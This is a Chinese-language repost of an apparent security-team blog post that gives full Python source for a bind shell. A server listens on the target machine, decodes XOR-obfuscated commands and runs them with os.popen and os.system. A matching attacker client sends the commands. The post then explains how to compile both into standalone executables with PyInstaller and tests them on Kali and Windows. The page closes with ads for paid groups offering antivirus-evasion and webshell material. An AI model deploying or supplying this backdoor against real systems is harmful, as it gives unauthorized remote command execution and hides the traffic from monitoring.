社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

利用Python正向shell思路+过程

渗透安全团队 • 1 年前 • 402 次点击  

目录
0x00:前言
0x01:构造思路
0x02:客户端部分
0x03:进阶思路
0x04:测试实例

0x00:前言

正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法

0x01:构造思路

服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉

服务端
import socket
import os

这部分是参数设置

地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式

Host = ‘’;
Port = 1314;

recv函数接受的最大数据量

bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);

初始化对象,设置的参数都是默认的

s_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

绑定地址到套接字

s_sock.bind(ipport);

控制最大可以有多少连接,也就是组多可以有五个客户端连接过来

s_sock.listen(5);

控制循环的值

stop = False;
while not stop:

#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的
c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量
ip,port = caddr;
print('%s connection....'%(ip));
#死循环
while True:
try:
#接受客户端发来的消息,最大数据量为bufsize变量的值
data = c_sock.recv(bufsize);
except:
#如果出现异常就关闭连接,结束循环
c_sock.close();
break;
#使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
ceshi = bytearray(data);
#判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
for i in range(len(ceshi)):
#此处就是进行一个异或等于xxx,等同于ceshi[i] = ceshi[i] ^ 0x41
#按位异或运算符:当两对应的二进位相异时,结果为1,它会将两边元素转换为二进制然后运算
# 0和1为1,0和0为0,1和1为0,1和0为1,也就是转换为二进制比较时候,不一样就为1,一样就是0
ceshi[i] ^= 0x41;
#decode方法的语法:str.decode(encoding='UTF-8',errors='strict')
#decode() 方法以 encoding指定编码格式来解码字符串。默认编码为字符串编码。
values = ceshi.decode();
#如果客户端发来的消息是quit,就会返回一个True给stop,不等于则返回一个False
stop = values == 'quit' or values == 'exit';
#如果发来的是quit或者exit,就结束循环
if stop:
break;
#popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。mode -- 模式权限可以是 'r'(默认) 或 'w'
#bufsize -- 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲
#大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;
#对于其它文件,它是全缓冲。如果没有改参数,使用系统的默认值。
#返回值为:execution succeed,中文意思是执行成功
value = os.popen(values);
#system方法,会将字符串转换成命令来执行,返回值为0,表示执行成功,返回其他的则表示失败
fh = os.system(values);
#判断执行成功没有
if fh == 0:
#调用read方法读取value的内容
value = value.read()
#如果读取的值为空,取反为真,如果读取不为空,取反为假,也就是如果是空的就给他一个字符串,如果不是空的就不用
if not value:
value = 'execution succeed';
#如果fh等于32512就提示,找不到命令
elif fh == 32512:
value = 'sh: %s: command not found'%(values);
#再次调用bytearray方法,将value转换为一个字节数组,指定使用utf-8编码
hehe = bytearray(value,'utf-8');
#将编码的数据进行异或加密
for i in range(len(hehe)):
hehe[i] ^= 0x41;
#使用send方法发送给客户端
c_sock.send(hehe);
#内部循环结束的话就关闭这个连接
c_sock.close();

关闭连接

s_sock.close();

0x02:客户端部分

客户端去连接服务端,然后把命令发给服务端,然后接收服务端返回的数据,在通过异或,将其还原成明文打印出来,也可以不使用这种,而直接用base64,等其他加密,这里使用异或所以要将数据先转换成字节数组,然后一个一个字符的加密,如果使用base64等加密,则可以不转换成数组,直接加密一整句,这里因为要告诉服务端,我们退出了,所以需要在发送数据后判断是否退出,因为发送的数据是加密后的,所以我们直接用未加密前的来判断,如果是退出,就结束循环关闭连接

客户端

import socket
import os

输入目标地址

Host = input(‘input server ip: ‘);

如果输入为空,那就设置为本地回环地址

if not Host:
Host = ‘127.0.0.1’;

连接的端口,注意是服务开启的端口才行,因为是我们过去连目标的ip和端口

Port = 1314;

addr得到一个元组,值分别是ip和端口,类型为元组

addr = (Host,Port);

初始化对象,设置的参数都是默认的

c_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

设置控制循环的值

status = True;
try:

#调用connect方法连接目标地址和端口
c_sock.connect(addr);

except:

#如果连接失败,就执行这部分
print('%s 链接出问题了'%(Host));
#将控制循环的值改为False
status = False;

连接成功了执行

while status:

#获取要发给服务端的命令
value = input('[%s] Shell > '%(Host));
#将获取到的值用bytearray转换为一个字节数组,编码格式为utf-8,返回值就是 b'你的字符串'
encode = bytearray(value,'utf-8');
#使用len判断数组的长度,作为循环终值,因为是从0开始小于最大值,所以刚刚好
for i in range(len(encode)):
#将数组的元素进行异或加密,然后在给数组,下面的相等encode[i] = encode[i] ^ 0x41;
#异或(^)会将对比的两个参数转换为二进制,然后相同为0,相异为1,在将结果转会字符串
#原理就是先转换为二进制,比如下面的,如果位数一样就是0,不一样就是1,此处用来进行加密我们发送的数据
#60 = 0011 1100
#13 = 0000 1101
# = 0011 0001
encode[i] ^= 0x41;
#如果value得值是空的就取反为真,如果不为空就取反未假
#简单来说就是如果没输入东西就执行,跳过这次循环从新让你输入
if not value:
continue;
#如果try范围内的代码出现异常什么的就终止,然后执行except中的代码
try:
#将数据发送过去
c_sock.send(encode);
#判断输入的值是否为quit,如果是就结束for循环
if value == 'quit' or value == 'exit':
break;
#使用recv方法接收TCP数据,最大接收数据量为10000
data = c_sock.recv(10000);
#将接收的数据,使用bytearray方法转换为一个字节数组,不需要参数uft-8,因为传过来的就是,加了反而有问题
ceshi = bytearray(data)
#进行一个循环解密,将收到的数据再次进行异或运算,从而还原明文
for i in range(len(ceshi)):
ceshi[i] ^= 0x41
#输出数据,并使用decode方法来将数据解码为字符串
print('%s OS : \n'%(Host),ceshi.decode());
#出现异常就这行这部分
except:
print('%s 断开了连接'%(Host));
#结束循环
break;

关闭连接

c_sock.close();

0x03:进阶思路

这样一个简单的服务端和客户端就完成了,可是这种只能在装有python的环境下运行很不方便,所以我们使用pyinstaller将他们编译成可执行文件,pyinstaller非常方便,而且跨平台,但是你在linux下编译出来的就是linux的,要exe的话要去wind下编译

pyinstaller命令有几个好用的参数,这里介绍几个,如果感兴趣的可以自行了解一下,因为是菜鸡新手,所以就用-F即可

-F 产生单个的可执行文件,也就是值有一个可执行文件,没有其他文件夹啥的
-D 产生一个目录(包含多个文件)作为可执行程序,就像一个大程序一样,有很多文件支持
-d 产生 debug 版本的可执行文件

这里我们把客户端编译一下,会输出很多详细信息

编译完成后会在你所在的目录下产生三个文件夹,分别是build、dist和pycache这三个,而我们的可执行文件就被放在dist中,进去就可以看到

编译服务端,比如这里我是在一个新建的空文件夹中编译的

我们这个目录下就产生了三个文件,其中我们的可执行程序在dist中,服务端.spec则是类似一个介绍文件,pycache文件则还是产生在你py文件的位置哪里,因为咱也是初学者,所以对着些并不了解,所以有些说错的地方还望指正

0x04:测试实例

测试是否可运行,先将服务端复制到另一个kali下,并给他执行权限

运行起来,没有报错保持这个就表示没问题

启动客户端来连接,发现可以单独启动,说明编译的没有问题

此处我也在wind下编译了一个服务端,然后尝试用kali上的客户端去连接也没有问题

不过在wind下有个小问题,那就是如果输入不存在的命令会直接断开,后来检查了代码,发现这里只设置了if和 elif,并没有遇到第三种情况,所以导致他就直接中断了,所以将服务端加入一个else条件即可

可以看到这下在任何情况下输入错误的命令也不会断开了





付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员


进成员内部群





星球的最近主题和星球内部工具一些展示





加入安全交流群


                               


关 注 有 礼



关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!






干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为 承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/165141
 
402 次点击